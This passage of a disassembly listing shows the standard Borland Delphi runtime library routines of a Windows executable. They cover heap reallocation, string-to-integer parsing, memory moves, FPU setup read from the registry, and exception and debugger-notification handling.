		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_402126
		mov	ds:dword_4055B0, 0Bh
		jmp	short loc_40215D
; ---------------------------------------------------------------------------

loc_402126:				; CODE XREF: sub_401FF4+124j
		or	dword ptr [eax], 1
		jmp	short loc_402154
; ---------------------------------------------------------------------------

loc_40212B:				; CODE XREF: sub_401FF4+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_40213E
		cmp	dword ptr [eax], 0
		jz	short loc_40213E
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_40214A

loc_40213E:				; CODE XREF: sub_401FF4+13Dj
					; sub_401FF4+142j
		mov	ds:dword_4055B0, 0Bh
		jmp	short loc_40215D
; ---------------------------------------------------------------------------

loc_40214A:				; CODE XREF: sub_401FF4+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_40191C

loc_402154:				; CODE XREF: sub_401FF4+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_401B84

loc_40215D:				; CODE XREF: sub_401FF4+6Fj
					; sub_401FF4+AEj ...
		mov	eax, ds:dword_4055B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40218D

loc_402172:				; CODE XREF: sub_401FF4+197j
		cmp	ds:byte_405035,	0
		jz	short locret_402185
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_402185:				; CODE XREF: sub_401FF4+185j
		retn
; ---------------------------------------------------------------------------

loc_402186:				; DATA XREF: sub_401FF4+3Bo
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_402172
; ---------------------------------------------------------------------------

loc_40218D:				; CODE XREF: sub_401FF4+33j
					; sub_401FF4+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_401FF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402198	proc near		; CODE XREF: sub_402374+4Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_4021B1
		mov	esi, 0Ch

loc_4021B1:				; CODE XREF: sub_402198+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_4021D0
		mov	al, 1
		jmp	loc_40236B
; ---------------------------------------------------------------------------

loc_4021D0:				; CODE XREF: sub_402198+2Fj
		cmp	edi, esi
		jle	loc_40225B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, ds:dword_405608
		jnz	short loc_40221F
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_405608, eax
		mov	eax, [esp+18h+var_18]
		add	ds:dword_405604, eax
		cmp	ds:dword_405604, 0Ch
		jge	loc_402352
		mov	eax, [esp+18h+var_18]
		add	ds:dword_405608, eax
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_405604, eax
		mov	esi, edi
		jmp	loc_402352
; ---------------------------------------------------------------------------

loc_40221F:				; CODE XREF: sub_402198+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_402233
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_40191C

loc_402233:				; CODE XREF: sub_402198+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_402254
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_4019E0
		jmp	loc_402352
; ---------------------------------------------------------------------------

loc_402254:				; CODE XREF: sub_402198+9Fj
		mov	esi, edi
		jmp	loc_402352
; ---------------------------------------------------------------------------

loc_40225B:				; CODE XREF: sub_402198+3Aj
					; sub_402198+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, ds:dword_405608
		jnz	short loc_4022D2
		mov	eax, ds:dword_405604
		cmp	eax, [esp+18h+var_14]
		jl	short loc_4022C9
		mov	eax, [esp+18h+var_14]
		sub	ds:dword_405604, eax
		mov	eax, [esp+18h+var_14]
		add	ds:dword_405608, eax
		cmp	ds:dword_405604, 0Ch
		jge	short loc_4022AB
		mov	eax, ds:dword_405604
		add	ds:dword_405608, eax
		add	esi, ds:dword_405604
		xor	eax, eax
		mov	ds:dword_405604, eax

loc_4022AB:				; CODE XREF: sub_402198+F9j
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_40236B
; ---------------------------------------------------------------------------

loc_4022C9:				; CODE XREF: sub_402198+DCj
		call	sub_401C0C
		mov	ebx, ebp
		add	ebx, edi

loc_4022D2:				; CODE XREF: sub_402198+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_402324
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_4022F8
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_402324
; ---------------------------------------------------------------------------

loc_4022F8:				; CODE XREF: sub_402198+150j
		call	sub_40191C
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_402318
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_401B84
		jmp	short loc_402352
; ---------------------------------------------------------------------------

loc_402318:				; CODE XREF: sub_402198+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_402352
; ---------------------------------------------------------------------------

loc_402324:				; CODE XREF: sub_402198+13Dj
					; sub_402198+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_40234E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_401D10
		test	al, al
		jz	short loc_40234E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_40225B
; ---------------------------------------------------------------------------

loc_40234E:				; CODE XREF: sub_402198+193j
					; sub_402198+1ABj
		xor	eax, eax
		jmp	short loc_40236B
; ---------------------------------------------------------------------------

loc_402352:				; CODE XREF: sub_402198+68j
					; sub_402198+82j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_4055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1

loc_40236B:				; CODE XREF: sub_402198+33j
					; sub_402198+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402198	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402374	proc near		; DATA XREF: DATA:0040402Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_4055AC,	0
		jnz	short loc_40239B
		call	sub_401778
		test	al, al
		jnz	short loc_40239B
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_40242C
; ---------------------------------------------------------------------------

loc_40239B:				; CODE XREF: sub_402374+12j
					; sub_402374+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_402425
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_405035,	0
		jz	short loc_4023BC
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection

loc_4023BC:				; CODE XREF: sub_402374+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_402198
		test	al, al
		jz	short loc_4023CE
		mov	[ebp+var_4], ebx
		jmp	short loc_402404
; ---------------------------------------------------------------------------

loc_4023CE:				; CODE XREF: sub_402374+53j
		mov	eax, esi
		call	sub_401E64
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_4023EC
		mov	eax, esi

loc_4023EC:				; CODE XREF: sub_402374+74j
		test	edi, edi
		jz	short loc_402401
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4024EC
		mov	eax, ebx
		call	sub_401FF4

loc_402401:				; CODE XREF: sub_402374+7Aj
		mov	[ebp+var_4], edi

loc_402404:				; CODE XREF: sub_402374+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40242C

loc_402411:				; CODE XREF: sub_402374+B6j
		cmp	ds:byte_405035,	0
		jz	short locret_402424
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_402424:				; CODE XREF: sub_402374+A4j
		retn
; ---------------------------------------------------------------------------

loc_402425:				; DATA XREF: sub_402374+2Ao
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_402411
; ---------------------------------------------------------------------------

loc_40242C:				; CODE XREF: sub_402374+22j
					; DATA XREF: sub_402374+98o
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_402374	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402438	proc near		; CODE XREF: sub_402F10+Cp
		push	ebx
		test	eax, eax
		jle	short loc_402452
		call	ds:off_404024
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402454
		mov	al, 1
		call	sub_4024D0
; ---------------------------------------------------------------------------
		jmp	short loc_402454
; ---------------------------------------------------------------------------

loc_402452:				; CODE XREF: sub_402438+3j
		xor	ebx, ebx

loc_402454:				; CODE XREF: sub_402438+Fj
					; sub_402438+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_402438	endp


; =============== S U B	R O U T	I N E =======================================



sub_402458	proc near		; CODE XREF: sub_402EEC+1Cp
		push	ebx
		test	eax, eax
		jz	short loc_402472
		call	ds:off_404028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402474
		mov	al, 2
		call	sub_4024D0
; ---------------------------------------------------------------------------
		jmp	short loc_402474
; ---------------------------------------------------------------------------

loc_402472:				; CODE XREF: sub_402458+3j
		xor	ebx, ebx

loc_402474:				; CODE XREF: sub_402458+Fj
					; sub_402458+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_402458	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402478	proc near		; CODE XREF: sub_402484+42p
					; CODE:00402AF3p
		mov	ds:dword_404004, edx
		call	sub_402ED4
sub_402478	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402484	proc near		; CODE XREF: sub_4024D0+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_405008, 0
		jz	short loc_4024A0
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_405008

loc_4024A0:				; CODE XREF: sub_402484+10j
		test	bl, bl
		jnz	short loc_4024B1
		call	sub_40327C
		mov	ebx, [eax+4]
		jmp	short loc_4024C0
; ---------------------------------------------------------------------------

loc_4024B1:				; CODE XREF: sub_402484+1Ej
		cmp	bl, 18h
		ja	short loc_4024C0
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_404030[eax]

loc_4024C0:				; CODE XREF: sub_402484+2Bj
					; sub_402484+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_402478
sub_402484	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4024D0	proc near		; CODE XREF: sub_402438+13p
					; sub_402458+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_402484
sub_4024D0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4024DC	proc near		; CODE XREF: sub_40252C+38p
					; sub_40252C+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_40327C
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4024DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024EC	proc near		; CODE XREF: sub_402374+81p
					; sub_402F3C+1Cp
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_40250B
		jz	short loc_402529
		sar	ecx, 2
		js	short loc_402529
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40250B:				; CODE XREF: sub_4024EC+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_402529
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld

loc_402529:				; CODE XREF: sub_4024EC+Cj
					; sub_4024EC+11j ...
		pop	edi
		pop	esi
		retn
sub_4024EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40252C	proc near		; CODE XREF: CODE:004030FAp
					; CODE:00403104p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_40256B
		cmp	ax, 0D7B3h
		ja	short loc_40256B
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_402553
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax

loc_402553:				; CODE XREF: sub_40252C+1Ej
		test	esi, esi
		jnz	short loc_40255E
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax

loc_40255E:				; CODE XREF: sub_40252C+29j
		test	esi, esi
		jz	short loc_40257D
		mov	eax, esi
		call	sub_4024DC
		jmp	short loc_40257D
; ---------------------------------------------------------------------------

loc_40256B:				; CODE XREF: sub_40252C+Ej
					; sub_40252C+14j
		cmp	ebx, offset dword_405038
		jz	short loc_40257D
		mov	eax, 67h
		call	sub_4024DC

loc_40257D:				; CODE XREF: sub_40252C+34j
					; sub_40252C+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40252C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402584	proc near		; CODE XREF: sub_403068+41p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_4025FA
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh

loc_402597:				; CODE XREF: sub_402584+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_402597
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402608
		cmp	bl, 2Bh
		jz	short loc_40260A

loc_4025AB:				; CODE XREF: sub_402584+89j
		cmp	bl, 24h
		jz	short loc_40260F
		cmp	bl, 78h
		jz	short loc_40260F
		cmp	bl, 58h
		jz	short loc_40260F
		cmp	bl, 30h
		jnz	short loc_4025D2
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_40260F
		cmp	bl, 58h
		jz	short loc_40260F
		test	bl, bl
		jz	short loc_4025F0
		jmp	short loc_4025D6
; ---------------------------------------------------------------------------

loc_4025D2:				; CODE XREF: sub_402584+39j
		test	bl, bl
		jz	short loc_402603

loc_4025D6:				; CODE XREF: sub_402584+4Cj
					; sub_402584+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_402603
		cmp	eax, edi
		ja	short loc_402603
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_4025D6

loc_4025F0:				; CODE XREF: sub_402584+4Aj
		dec	ch
		jz	short loc_4025FD
		test	eax, eax
		jge	short loc_40264C
		jmp	short loc_402603
; ---------------------------------------------------------------------------

loc_4025FA:				; CODE XREF: sub_402584+8j
					; sub_402584+95j
		inc	esi
		jmp	short loc_402603
; ---------------------------------------------------------------------------

loc_4025FD:				; CODE XREF: sub_402584+6Ej
		neg	eax
		jle	short loc_40264C
		js	short loc_40264C

loc_402603:				; CODE XREF: sub_402584+50j
					; sub_402584+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_40264F
; ---------------------------------------------------------------------------

loc_402608:				; CODE XREF: sub_402584+20j
		inc	ch

loc_40260A:				; CODE XREF: sub_402584+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4025AB
; ---------------------------------------------------------------------------

loc_40260F:				; CODE XREF: sub_402584+2Aj
					; sub_402584+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_4025FA

loc_40261B:				; CODE XREF: sub_402584+C0j
		cmp	bl, 61h
		jb	short loc_402623
		sub	bl, 20h

loc_402623:				; CODE XREF: sub_402584+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402636
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_402603
		add	bl, 0Ah

loc_402636:				; CODE XREF: sub_402584+A5j
		cmp	eax, edi
		ja	short loc_402603
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40261B
		dec	ch
		jnz	short loc_40264C
		neg	eax

loc_40264C:				; CODE XREF: sub_402584+72j
					; sub_402584+7Bj ...
		pop	ecx
		xor	esi, esi

loc_40264F:				; CODE XREF: sub_402584+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402658	proc near		; CODE XREF: sub_402660+5p
					; sub_402660+11p
		jmp	ds:dword_4060D0
sub_402658	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402660	proc near		; CODE XREF: CODE:00403169p
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_402658	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_40268B
		push	1
		call	sub_402658	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_402689
		cmp	eax, 400h
		jnz	short loc_40268B

loc_402689:				; CODE XREF: sub_402660+20j
		mov	bl, 1

loc_40268B:				; CODE XREF: sub_402660+Dj
					; sub_402660+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_402660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402690	proc near		; CODE XREF: CODE:00403172p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_40400C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_401068	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402708
		xor	eax, eax
		push	ebp
		push	offset loc_402701
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401070	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402708

loc_4026F7:				; CODE XREF: sub_402690+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401060	; RegCloseKey
		retn
; ---------------------------------------------------------------------------

loc_402701:				; DATA XREF: sub_402690+2Eo
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_4026F7
; ---------------------------------------------------------------------------

loc_402708:				; CODE XREF: sub_402690+29j
					; DATA XREF: sub_402690+62o
		mov	ax, ds:word_40400C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_40400C,	ax
		mov	esp, ebp
		pop	ebp
		retn
sub_402690	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402690+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_402690+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402754	proc near		; CODE XREF: sub_402BE4-368p
					; CODE:00402B2Ap ...
		fninit
		wait
		fldcw	ds:word_40400C
		retn
sub_402754	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402760	proc near		; CODE XREF: CODE:0040297Bj
					; sub_4029C0+30p ...
		test	eax, eax
		jz	short locret_40276B
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_40276B:				; CODE XREF: sub_402760+2j
		retn
sub_402760	endp


; =============== S U B	R O U T	I N E =======================================



sub_40276C	proc near		; CODE XREF: sub_4029C0+35p
		cmp	ds:byte_404010,	1
		jbe	short locret_402786
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_405010

locret_402786:				; CODE XREF: sub_40276C+7j
		retn
sub_40276C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402788	proc near		; CODE XREF: sub_402BE4-33Bp
		cmp	ds:byte_404010,	0
		jz	short locret_4027A8
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_405010
		add	esp, 8
		pop	eax

locret_4027A8:				; CODE XREF: sub_402788+7j
		retn
sub_402788	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4027C4

loc_4027AC:				; CODE XREF: sub_4027C4+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_405010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4027C4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027C4	proc near		; CODE XREF: sub_402BE4-28Bp

; FUNCTION CHUNK AT 004027AC SIZE 00000015 BYTES

		cmp	ds:byte_404010,	1
		jbe	short locret_4027D4
		push	eax
		push	ebx
		jmp	loc_4027AC
; ---------------------------------------------------------------------------

locret_4027D4:				; CODE XREF: sub_4027C4+7j
		retn
sub_4027C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027D8	proc near		; CODE XREF: sub_4027F8+Cp
		test	ecx, ecx
		jz	short locret_4027F5
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_4027F0
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_4027F5
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_4027F3
; ---------------------------------------------------------------------------

loc_4027F0:				; CODE XREF: sub_4027D8+Aj
		add	ecx, 5

loc_4027F3:				; CODE XREF: sub_4027D8+16j
		add	ecx, eax

locret_4027F5:				; CODE XREF: sub_4027D8+2j
					; sub_4027D8+Fj
		retn
sub_4027D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027F8	proc near		; CODE XREF: sub_401778+1235p
		cmp	ds:byte_404010,	1
		jbe	short locret_40281E
		push	eax
		push	edx
		push	ecx
		call	sub_4027D8
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_405010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_40281E:				; CODE XREF: sub_4027F8+7j
		retn
sub_4027F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402820	proc near		; CODE XREF: sub_402A14+28p
		cmp	ds:byte_404010,	1
		jbe	short locret_40283B
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_405010
		pop	edx

locret_40283B:				; CODE XREF: sub_402820+7j
		retn
sub_402820	endp


; =============== S U B	R O U T	I N E =======================================



sub_40283C	proc near		; CODE XREF: CODE:loc_402B71p
		push	eax
		push	edx
		cmp	ds:byte_404010,	1
		jbe	short loc_402857
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_405010

loc_402857:				; CODE XREF: sub_40283C+9j
		pop	edx
		pop	eax
		retn
sub_40283C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402BE4

loc_40285C:				; CODE XREF: sub_402BE4:loc_402C2Aj
					; sub_402C44:loc_402C8Aj ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_402980
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_4028E9
		cld
		call	sub_402754
		mov	edx, ds:dword_40500C
		test	edx, edx
		jz	loc_402980
		call	edx
		test	eax, eax
		jz	loc_402980
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_4028E0
		call	sub_402788
		cmp	ds:byte_404014,	0
		jbe	short loc_4028E0
		cmp	ds:byte_404010,	0
		ja	short loc_4028E0
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_402980
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402910
; ---------------------------------------------------------------------------

loc_4028E0:				; CODE XREF: sub_402BE4-33Dj
					; sub_402BE4-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]

loc_4028E9:				; CODE XREF: sub_402BE4-36Bj
		cmp	ds:byte_404014,	1
		jbe	short loc_402910
		cmp	ds:byte_404010,	0
		ja	short loc_402910
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_402980

loc_402910:				; CODE XREF: sub_402BE4-306j
					; sub_402BE4-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_402934
		push	edx
		call	ds:off_405014

loc_402934:				; DATA XREF: sub_402BE4-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_40327C
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_402960
		add	ebx, 5
		call	sub_4027C4
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_402BE4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402960	proc near		; DATA XREF: sub_402BE4-295o
		jmp	loc_402988
sub_402960	endp

; ---------------------------------------------------------------------------
		call	sub_40327C
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_402760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402BE4

loc_402980:				; CODE XREF: sub_402BE4-37Dj
					; sub_402BE4-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_402BE4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401778

loc_402988:				; CODE XREF: sub_401778:loc_40182Ej
					; sub_40183C:loc_401912j ...
		mov	eax, [esp+4]
		mov	edx, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jz	short loc_4029B8
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_4029B8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_4027F8
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_4029B8:				; CODE XREF: sub_401778+121Fj
					; DATA XREF: sub_401778+1224o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401778
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4029C0	proc near		; CODE XREF: sub_402BE4+50p
					; sub_402C44+50p

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_402A0B
		call	sub_40327C
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
